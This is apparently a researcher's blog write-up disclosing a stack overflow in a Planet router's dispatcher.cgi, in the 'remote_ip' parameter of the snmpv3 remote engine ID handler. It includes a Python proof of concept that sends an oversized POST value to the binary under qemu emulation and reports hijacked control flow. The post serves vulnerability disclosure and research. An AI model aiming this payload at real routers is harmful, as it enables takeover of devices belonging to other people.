web_snmpv3_remote_engineId_add_post_remote_ip

web_snmpv3_remote_engineId_add_post_remote_ip

During my internship at Qi An Xin Tiangong Lab, I discovered a stack overflow vulnerability in the Planet router.

By analyzing the dispatcher file in the bin directory, I found that the function web_snmpv3_remote_engineId_add_post contains a stack overflow vulnerability.

The stack overflow can be triggered by remote_ip value, which leads to a memcpy stack overflow.

image-20250321152223389

In the main function, there is an account authentication detection. We create a cookie_0 in the tmp directory, with the content of “20 0 0”, and its function is to create a cookie with sufficient permissions to access this route.

1
20 0 0

image-20250417110630394

image-20250417110648157

image-20250417110742170

Through IDA, it can be seen that the stack space is 0x178

The content of the poc.py file is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os


a = 0x1017
var_name = "remote_ip"
b = 'a' * 0x300


poc_content = f"&cmd={a}&{var_name}={b}"
with open('poc', 'w') as f:
f.write(poc_content)

command = (
"sudo chroot . ./qemu-mips-static "
"-E REQUEST_METHOD=POST "
"-E HTTP_COOKIE='hid=0' "
"-L ./lib "
"-g 1234 "
"./dispatcher.cgi "
"< poc"
)


os.system(command)




image-20250417110813345

image-20250417110857449

Through the above image, we can see that we have overflowed to 0x260 and successfully hijacked the control flow. If necessary, more can be overflowed.


web_snmpv3_remote_engineId_add_post_remote_ip
https://lafdrew.github.io/2025/04/20/web-snmpv3-remote-engineId-add-post-remote-ip/
Author
John Doe
Posted on
April 20, 2025
Licensed under